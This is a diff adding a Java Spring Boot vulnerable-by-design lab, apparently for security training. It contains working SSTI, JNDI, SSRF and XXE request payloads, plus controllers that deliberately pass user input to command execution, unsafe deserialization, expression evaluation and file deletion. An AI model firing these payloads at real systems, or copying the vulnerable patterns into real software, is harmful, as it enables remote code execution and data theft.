b/SecVulns/SecVulnsREST/RPC/jndi.http new file mode 100644 index 0000000..0f8d57f --- /dev/null +++ b/SecVulns/SecVulnsREST/RPC/jndi.http @@ -0,0 +1,8 @@ +### +# case1 lookup +POST /jndi/case1 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +url=ldap://127.0.0.1:1389/0mghfs + diff --git a/SecVulns/SecVulnsREST/SSRF/ssrf.http b/SecVulns/SecVulnsREST/SSRF/ssrf.http new file mode 100644 index 0000000..d1d40ac --- /dev/null +++ b/SecVulns/SecVulnsREST/SSRF/ssrf.http @@ -0,0 +1,34 @@ +### +POST /SSRF/case1 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +param=http://baidu.com + + +### +POST /SSRF/case2 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +param=http://baidu.com + + +### +POST /SSRF/case3 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: application/x-www-form-urlencoded + +param=http://baidu.com + + + + + + + + + + + + diff --git a/SecVulns/SecVulnsREST/SSTI/Velocity.http b/SecVulns/SecVulnsREST/SSTI/Velocity.http new file mode 100644 index 0000000..fe366ac --- /dev/null +++ b/SecVulns/SecVulnsREST/SSTI/Velocity.http @@ -0,0 +1,7 @@ +### +POST /ssti/Velocity/case1 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: text/plain + +w#set($x='') #set($rt=$x.class.forName('java.lang.Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String')) #set($ex=$rt.getRuntime().exec('whoami')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end + diff --git a/SecVulns/SecVulnsREST/SSTI/thymeleaf.http b/SecVulns/SecVulnsREST/SSTI/thymeleaf.http new file mode 100644 index 0000000..e507ea4 --- /dev/null +++ b/SecVulns/SecVulnsREST/SSTI/thymeleaf.http @@ -0,0 +1,7 @@ +### +# POC1 +GET /ssti/thymeleaf/case1?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22open -a Calculator.app%22).getInputStream()).next()%7d__::.x HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: text/plain + + diff --git a/SecVulns/SecVulnsREST/XXE/XXE.http b/SecVulns/SecVulnsREST/XXE/XXE.http new file mode 100644 index 0000000..ae86f70 --- /dev/null +++ b/SecVulns/SecVulnsREST/XXE/XXE.http @@ -0,0 +1,117 @@ +### +# case1 xmlReader +POST /xxe/case1 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: text/plain + +]>&xxe; + + +### +# case2 jdomSAXBuilder +POST /xxe/case2 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: text/plain + +]>&xxe; + + +### +# case3 jdom2SAXBuilder +POST /xxe/case3 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: text/plain + +]>&xxe; + + +### +# case4 javaxSAXParser +POST /xxe/case4 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: text/plain + +]>&xxe; + + +### +# case5 dom4jSAXReader +POST /xxe/case5 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: text/plain + +]>&xxe; + + +### +# case6 jaxpSAXParserFactoryImpl +POST /xxe/case6 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: text/plain + +]>&xxe; + + +### +# case7 xercesSAXParser +POST /xxe/case7 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: text/plain + +]>&xxe; + + +### +# case8 javaxDocumentBuilder +POST /xxe/case8 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: text/plain + +]>&xxe; + + +### +# case9 jaxpDocumentBuilderImpl +POST /xxe/case9 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: text/plain + +]>&xxe; + + +### +# case10 jaxpDocumentBuilderFactoryImpl +POST /xxe/case10 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: text/plain + +]>&xxe; + + +### +# case11 jaxpXercesDocumentBuilderFactoryImpl +POST /xxe/case11 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: text/plain + +]>&xxe; + + +### +# case12 dom4jDocumentHelper +POST /xxe/case12 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: text/plain + +]>&xxe; + + +### +# case13 javaxXMLInputFactory +POST /xxe/case13 HTTP/1.1 +Host: 127.0.0.1:8080 +Content-Type: text/plain + +]>&xxe; + + diff --git a/SecVulns/Springboot2/pom.xml b/SecVulns/Springboot2/pom.xml new file mode 100644 index 0000000..8064877 --- /dev/null +++ b/SecVulns/Springboot2/pom.xml @@ -0,0 +1,126 @@ + + + 4.0.0 + com.ppp + Springboot2 + 0.0.1 + Springboot2 + Springboot2 + + 1.8 + UTF-8 + UTF-8 + 2.2.1.RELEASE + + + + org.springframework.boot + spring-boot-starter + + + + org.springframework.boot + spring-boot-starter-test + test + + + org.springframework.boot + spring-boot-starter-web + + + com.fasterxml.jackson.core + jackson-databind + + + com.fasterxml.jackson.datatype + jackson-datatype-jdk8 + + + com.fasterxml.jackson.datatype + jackson-datatype-jsr310 + + + com.fasterxml.jackson.module + jackson-module-parameter-names + + + + + + com.fasterxml.jackson.core + jackson-databind + 2.8.9 + + + com.fasterxml.jackson.datatype + jackson-datatype-jdk8 + 2.8.9 + + + com.fasterxml.jackson.datatype + jackson-datatype-jsr310 + 2.8.9 + + + com.fasterxml.jackson.module + jackson-module-parameter-names + 2.8.9 + + + + com.ppp + VulnCore + 1.0 + + + org.springframework.boot + spring-boot-starter-thymeleaf + + + + + + + org.springframework.boot + spring-boot-dependencies + ${spring-boot.version} + pom + import + + + + + + + + org.apache.maven.plugins + maven-compiler-plugin + 3.8.1 + + 1.8 + 1.8 + UTF-8 + + + + org.springframework.boot + spring-boot-maven-plugin + ${spring-boot.version} + + com.ppp.springboot.Springboot2Application + true + + + + repackage + + repackage + + + + + + + + diff --git a/Expression/SPELAttack/src/main/java/com/example/spelattack/SpelAttackApplication.java b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/Springboot2Application.java similarity index 59% rename from Expression/SPELAttack/src/main/java/com/example/spelattack/SpelAttackApplication.java rename to SecVulns/Springboot2/src/main/java/com/ppp/springboot/Springboot2Application.java index d88f98a..9ecc21a 100644 --- a/Expression/SPELAttack/src/main/java/com/example/spelattack/SpelAttackApplication.java +++ b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/Springboot2Application.java @@ -1,13 +1,13 @@ -package com.example.spelattack; +package com.ppp.springboot; import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; @SpringBootApplication -public class SpelAttackApplication { +public class Springboot2Application { public static void main(String[] args) { - SpringApplication.run(SpelAttackApplication.class, args); + SpringApplication.run(Springboot2Application.class, args); } } diff --git a/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/DemoController.java b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/DemoController.java new file mode 100644 index 0000000..9beb1f0 --- /dev/null +++ b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/DemoController.java @@ -0,0 +1,85 @@ +package com.ppp.springboot.vul; + +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.io.PrintWriter; +import java.util.Map; + +/** + * @author Whoopsunix + * + * 请求参数获取示例 + */ +@Controller +@RequestMapping("/demo") +public class DemoController { + /** + * request.getParameter() + * + * @param request + * @param response + * @throws Exception + */ + @RequestMapping("/case1") + public void case1(HttpServletRequest request, HttpServletResponse response) throws Exception { + String param = request.getParameter("param"); + System.out.println(param); + PrintWriter writer = response.getWriter(); + writer.println(param); + } + + /** + * 直接获取整个请求 body + * + * @param requestBody + * @param request + * @param response + */ + @RequestMapping("/case2") + @ResponseBody + public void case2(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws IOException { + System.out.println(requestBody); + PrintWriter writer = response.getWriter(); + writer.println(requestBody); + } + + /** + * @RequestBody + * + * @param map + * @param request + * @param response + * @throws IOException + */ + @RequestMapping("/case3") + public void case3(@RequestBody Map map, HttpServletRequest request, HttpServletResponse response) throws IOException { + String param = (String) map.get("param"); + System.out.println(param); + PrintWriter writer = response.getWriter(); + writer.println(param); + } + + /** + * @RequestParam + * + * @param param + * @param request + * @param response + * @throws IOException + */ + @RequestMapping("/case4") + public void case4(@RequestParam String param, HttpServletRequest request, HttpServletResponse response) throws IOException { + System.out.println(param); + PrintWriter writer = response.getWriter(); + writer.println(param); + } + + +} diff --git a/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/code/GroovyController.java b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/code/GroovyController.java new file mode 100644 index 0000000..f141c67 --- /dev/null +++ b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/code/GroovyController.java @@ -0,0 +1,33 @@ +package com.ppp.springboot.vul.code; + +import com.ppp.code.GroovyAttack; +import com.ppp.code.ScriptEngineAttack; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.net.URLDecoder; + +/** + * @author Whoopsunix + */ +@Controller +@RequestMapping("/code/Groovy") +public class GroovyController { + // groovyShell + @RequestMapping("/case1") + @ResponseBody + public Object groovyShell(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws Exception { + String body = URLDecoder.decode(requestBody); + System.out.println(body); + + GroovyAttack groovyAttack = new GroovyAttack(); + Object result = groovyAttack.groovyShell(body); + + return result; + } + +} diff --git a/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/code/ScriptEngineController.java b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/code/ScriptEngineController.java new file mode 100644 index 0000000..cd51988 --- /dev/null +++ b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/code/ScriptEngineController.java @@ -0,0 +1,31 @@ +package com.ppp.springboot.vul.code; + +import com.ppp.code.ScriptEngineAttack; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.net.URLDecoder; + +/** + * @author Whoopsunix + */ +@Controller +@RequestMapping("/code/ScriptEngine") +public class ScriptEngineController { + @RequestMapping("/case1") + @ResponseBody + public Object ScriptEngineCase1(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws Exception { + String body = URLDecoder.decode(requestBody); + System.out.println(body); + + ScriptEngineAttack scriptEngineAttack = new ScriptEngineAttack(); + Object result = scriptEngineAttack.eval(body); + + return result; + } + +} diff --git a/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/command/CommandController.java b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/command/CommandController.java new file mode 100644 index 0000000..a4902e8 --- /dev/null +++ b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/command/CommandController.java @@ -0,0 +1,86 @@ +package com.ppp.springboot.vul.command; + +import com.ppp.command.*; +import com.ppp.command.jni.JniCmdDemo; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.InputStream; +import java.io.PrintWriter; + +/** + * @author Whoopsunix + */ +@Controller +@RequestMapping("/command") +public class CommandController { + @RequestMapping("/Runtime/case1") + @ResponseBody + public Object Runtime(HttpServletRequest request, HttpServletResponse response) throws Exception { + String param = request.getParameter("param"); + System.out.println(param); + + InputStream inputStream = RuntimeDemo.exec(param); + Object result = new ExecResultMod().stringBuilder(inputStream); + return result; + } + + @RequestMapping("/ProcessBuilder/case1") + @ResponseBody + public Object ProcessBuilder(HttpServletRequest request, HttpServletResponse response) throws Exception { + String param = request.getParameter("param"); + System.out.println(param); + + InputStream inputStream = ProcessBuilderDemo.exec(param); + Object result = new ExecResultMod().stringBuilder(inputStream); + return result; + } + + @RequestMapping("/ProcessImpl/case1") + @ResponseBody + public Object ProcessImpl(HttpServletRequest request, HttpServletResponse response) throws Exception { + String param = request.getParameter("param"); + System.out.println(param); + + InputStream inputStream = ProcessImplDemo.exec(param); + Object result = new ExecResultMod().stringBuilder(inputStream); + return result; + } + + @RequestMapping("/ProcessImplUnixProcess/case1") + @ResponseBody + public Object ProcessImplUnixProcess(HttpServletRequest request, HttpServletResponse response) throws Exception { + String param = request.getParameter("param"); + System.out.println(param); + + InputStream inputStream = ProcessImplUnixProcess.exec(param); + Object result = new ExecResultMod().stringBuilder(inputStream); + return result; + } + + @RequestMapping("/ProcessImplUnixProcessByUnsafeNative/case1") + @ResponseBody + public Object ProcessImplUnixProcessByUnsafeNative(HttpServletRequest request, HttpServletResponse response) throws Exception { + String param = request.getParameter("param"); + System.out.println(param); + + InputStream inputStream = ProcessImplUnixProcessByUnsafeNative.exec(param); + Object result = new ExecResultMod().stringBuilder(inputStream); + return result; + } + + @RequestMapping("/Thread/case1") + @ResponseBody + public Object Thread(HttpServletRequest request, HttpServletResponse response) throws Exception { + String param = request.getParameter("param"); + System.out.println(param); + + InputStream inputStream = ThreadDemo.exec(param); + Object result = new ExecResultMod().stringBuilder(inputStream); + return result; + } + +} diff --git a/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/deserialization/DeserializationController.java b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/deserialization/DeserializationController.java new file mode 100644 index 0000000..996d749 --- /dev/null +++ b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/deserialization/DeserializationController.java @@ -0,0 +1,73 @@ +package com.ppp.springboot.vul.deserialization; + +import com.ppp.FastjsonAttack; +import com.ppp.JavaBeanAttack; +import com.ppp.SnakeyamlAttack; +import com.ppp.XStreamAttack; +import com.ppp.code.GroovyAttack; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.multipart.MultipartFile; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.ByteArrayInputStream; +import java.io.InputStream; +import java.io.ObjectInputStream; +import java.net.URLDecoder; + +/** + * @author Whoopsunix + */ +@Controller +@RequestMapping("/deserialization") +public class DeserializationController { + @RequestMapping("/javaBean/case1") + @ResponseBody + public Object JavaBean(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws Exception { + String body = URLDecoder.decode(requestBody); + System.out.println(body); + + + Object result = JavaBeanAttack.xmlDecoder(body); + return result; + } + + @RequestMapping("/xstream/case1") + @ResponseBody + public Object xstream(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws Exception { + String body = URLDecoder.decode(requestBody); + System.out.println(body); + + + Object result = XStreamAttack.deserialize(body); + return result; + } + + @RequestMapping("/snakeyaml/case1") + @ResponseBody + public Object Snakeyaml(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws Exception { + String body = URLDecoder.decode(requestBody); + System.out.println(body); + + + Object result = SnakeyamlAttack.load(body); + return result; + } + + @RequestMapping("/original/case1") + @ResponseBody + protected Object original(@RequestParam("file") MultipartFile file, HttpServletRequest req, HttpServletResponse resp) throws Exception { + InputStream fileContent = file.getInputStream(); + byte[] bytes = new byte[fileContent.available()]; + fileContent.read(bytes); + ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); + ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); + Object result = objectInputStream.readObject(); + return result; + } + +} diff --git a/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/deserialization/FastjsonController.java b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/deserialization/FastjsonController.java new file mode 100644 index 0000000..9bc6acb --- /dev/null +++ b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/deserialization/FastjsonController.java @@ -0,0 +1,106 @@ +package com.ppp.springboot.vul.deserialization; + +import com.alibaba.fastjson.JSON; +import com.alibaba.fastjson.JSONObject; +import com.ppp.FastjsonAttack; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +/** + * @author Whoopsunix + */ +@Controller +@RequestMapping("/deserialization") +public class FastjsonController { + public class KV { + private String name; + private String value; + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public String getValue() { + return value; + } + + public void setValue(String value) { + this.value = value; + } + + @Override + public String toString() { + return "KV{" + + "name='" + name + '\'' + + ", value='" + value + '\'' + + '}'; + } + } + + + @RequestMapping("/fastjson/case1") + @ResponseBody + public Object case1(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws IOException { + System.out.println(requestBody); + + Object result = FastjsonAttack.parseObject(requestBody); + + return result; + } + + /** + * value 对象形式可控 + * + * @param request + * @param response + * @throws IOException + */ + @RequestMapping("/fastjson/case2") + @ResponseBody + public Object case2(HttpServletRequest request, HttpServletResponse response) throws IOException { + String value = request.getParameter("value"); + System.out.println(value); + + KV kv = new KV(); + kv.setName("test"); + kv.setValue(value); + + String json = JSONObject.toJSONString(kv); + System.out.println(json); + + JSONObject result = JSON.parseObject(json); + + return result; + } + + /** + * value 字符替换可控 + * + * @param request + * @param response + * @throws IOException + */ + @RequestMapping("/fastjson/case3") + @ResponseBody + public Object case3(HttpServletRequest request, HttpServletResponse response) throws IOException { + String value = request.getParameter("value"); + System.out.println(value); + + String json = String.format("{\"name\":\"test\",\"value\":\"%s\"}", value); + System.out.println(json); + + JSONObject result = JSON.parseObject(json); + return result; + + } +} diff --git a/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/deserialization/JacksonController.java b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/deserialization/JacksonController.java new file mode 100644 index 0000000..2e5ceec --- /dev/null +++ b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/deserialization/JacksonController.java @@ -0,0 +1,40 @@ +package com.ppp.springboot.vul.deserialization; + +import com.fasterxml.jackson.annotation.JsonTypeInfo; +import com.fasterxml.jackson.databind.ObjectMapper; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.io.PrintWriter; + +/** + * @author Whoopsunix + */ +@Controller +@RequestMapping("/deserialization") +public class JacksonController { + @RequestMapping("/jackson/case1") + @ResponseBody + public Object jackson(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws IOException { + System.out.println(requestBody); + System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true"); + ObjectMapper objectMapper = new ObjectMapper(); + objectMapper.enableDefaultTyping(); + objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL, JsonTypeInfo.As.PROPERTY); + + // 用ObjectMapper.disableDefaultTyping()设置为只允许@JsonTypeInfo生效 +// objectMapper.disableDefaultTyping(); + +// Method disableDefaultTypingM = objectMapper.getClass().getMethod("disableDefaultTyping"); +// disableDefaultTypingM.invoke(objectMapper); + +// json = "{\"@class\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/ehyo2t\",\"autoCommit\":true}"; + Object result = objectMapper.readValue(requestBody, Object.class); + return result; + } +} diff --git a/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/expression/AviatorController.java b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/expression/AviatorController.java new file mode 100644 index 0000000..ce44b88 --- /dev/null +++ b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/expression/AviatorController.java @@ -0,0 +1,30 @@ +package com.ppp.springboot.vul.expression; + +import com.ppp.aviator.AviatorAttack; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.net.URLDecoder; + +/** + * @author Whoopsunix + */ +@Controller +@RequestMapping("/expression/Aviator") +public class AviatorController { + @RequestMapping("/case1") + @ResponseBody + public Object Aviator(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws Exception { + String body = URLDecoder.decode(requestBody); + System.out.println(body); + + Object result = AviatorAttack.execute(body); + + return result; + } + +} diff --git a/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/expression/JEXLController.java b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/expression/JEXLController.java new file mode 100644 index 0000000..d2bb587 --- /dev/null +++ b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/expression/JEXLController.java @@ -0,0 +1,30 @@ +package com.ppp.springboot.vul.expression; + +import com.ppp.jexl.JEXLAttack; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.net.URLDecoder; + +/** + * @author Whoopsunix + */ +@Controller +@RequestMapping("/expression/JEXL") +public class JEXLController { + @RequestMapping("/case1") + @ResponseBody + public Object JEXL(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws Exception { + String body = URLDecoder.decode(requestBody); + System.out.println(body); + + Object result = JEXLAttack.eval(body); + + return result; + } + +} diff --git a/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/expression/JxPathController.java b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/expression/JxPathController.java new file mode 100644 index 0000000..4594125 --- /dev/null +++ b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/expression/JxPathController.java @@ -0,0 +1,31 @@ +package com.ppp.springboot.vul.expression; + +import com.ppp.jxpath.JxPathAttack; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.net.URLDecoder; + +/** + * @author Whoopsunix + */ +@Controller +@RequestMapping("/expression/JxPath") +public class JxPathController { + @RequestMapping("/case1") + @ResponseBody + public Object JxPath(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws Exception { + String body = URLDecoder.decode(requestBody); + System.out.println(body); + + Object result = JxPathAttack.eval(body); + + return result; + } + + +} diff --git a/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/expression/MVELController.java b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/expression/MVELController.java new file mode 100644 index 0000000..9ab1dd1 --- /dev/null +++ b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/expression/MVELController.java @@ -0,0 +1,31 @@ +package com.ppp.springboot.vul.expression; + +import com.ppp.mvel.MVELAttack; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.net.URLDecoder; + +/** + * @author Whoopsunix + */ +@Controller +@RequestMapping("/expression/MVEL") +public class MVELController { + @RequestMapping("/case1") + @ResponseBody + public Object MVEL(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws Exception { + String body = URLDecoder.decode(requestBody); + System.out.println(body); + + Object result = MVELAttack.eval(body); + + return result; + } + + +} diff --git a/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/expression/OGNLController.java b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/expression/OGNLController.java new file mode 100644 index 0000000..a0222a2 --- /dev/null +++ b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/expression/OGNLController.java @@ -0,0 +1,64 @@ +package com.ppp.springboot.vul.expression; + +import com.ppp.ognl.OGNLAttack; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.net.URLDecoder; + +/** + * @author Whoopsunix + */ +@Controller +@RequestMapping("/expression/OGNL") +public class OGNLController { + @RequestMapping("/case1") + @ResponseBody + public Object OGNLGet(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws Exception { + String body = URLDecoder.decode(requestBody); + System.out.println(body); + + Object result = OGNLAttack.ognlGetValue(body); + + return result; + } + + @RequestMapping("/case2") + @ResponseBody + public Object OGNLSet(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws Exception { + String body = URLDecoder.decode(requestBody); + System.out.println(body); + + OGNLAttack.ognlSetValue(body); + + return null; + } + + @RequestMapping("/case3") + @ResponseBody + public Object OGNLIbatisGet(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws Exception { + String body = URLDecoder.decode(requestBody); + System.out.println(body); + + Object result = OGNLAttack.ognlGetValueIbatis(body); + + return result; + } + + @RequestMapping("/case4") + @ResponseBody + public Object OGNLIbatisSet(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws Exception { + String body = URLDecoder.decode(requestBody); + System.out.println(body); + + OGNLAttack.ognlSetValueIbatis(body); + + return null; + } + + +} diff --git a/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/expression/SPELController.java b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/expression/SPELController.java new file mode 100644 index 0000000..f5ffabc --- /dev/null +++ b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/expression/SPELController.java @@ -0,0 +1,31 @@ +package com.ppp.springboot.vul.expression; + +import com.ppp.spel.SPELAttack; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.net.URLDecoder; + +/** + * @author Whoopsunix + */ +@Controller +@RequestMapping("/expression/SPEL") +public class SPELController { + @RequestMapping("/case1") + @ResponseBody + public Object SPEL(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws Exception { + String body = URLDecoder.decode(requestBody); + System.out.println(body); + + Object result = SPELAttack.eval(body); + + return result; + } + + +} diff --git a/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/files/FileDeleteController.java b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/files/FileDeleteController.java new file mode 100644 index 0000000..1b61124 --- /dev/null +++ b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/files/FileDeleteController.java @@ -0,0 +1,27 @@ +package com.ppp.springboot.vul.files; + +import com.ppp.FileDelete; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +/** + * @author Whoopsunix + * + */ +@Controller +@RequestMapping("/file/delete") +public class FileDeleteController { + + @RequestMapping("/case1") + public void case1(HttpServletRequest request, HttpServletResponse response) throws IOException { + String filePath = FileUtils.getResourcePath() + request.getParameter("filePath"); + System.out.println(filePath); + + FileDelete.delete(filePath); + } + +} diff --git a/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/files/FileDirectoryController.java b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/files/FileDirectoryController.java new file mode 100644 index 0000000..91db7cf --- /dev/null +++ b/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/files/FileDirectoryController.java @@ -0,0 +1,41 @@ +package com.ppp.springboot.vul.files; + + +import com.ppp.FileDirectory; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +/** + * @author Whoopsunix + * + */ +@Controller +@RequestMapping("/file/directory") +public class FileDirectoryController { + + @RequestMapping("/case1") + @ResponseBody + public Object case1(HttpServletRequest request, HttpServletResponse response) throws IOException { + String filePath = FileUtils.getResourcePath() + request.getParameter("filePath"); + System.out.println(filePath); + + String[] dirs = FileDirectory.listFiles(filePath); + return dirs; + } + + @RequestMapping("/case2") + @ResponseBody + public Object case2(HttpServletRequest request, HttpServletResponse response) throws IOException { + String filePath = FileUtils.getResourcePath() + request.getParameter("filePath"); + System.out.println(filePath); + + String[] dirs = FileDirectory.list(filePath); + return dirs; + } + +} diff --git a/SecVulns/Springboot2/src/main/java/com/ppp/springboot/vul/files/FileReadController.java 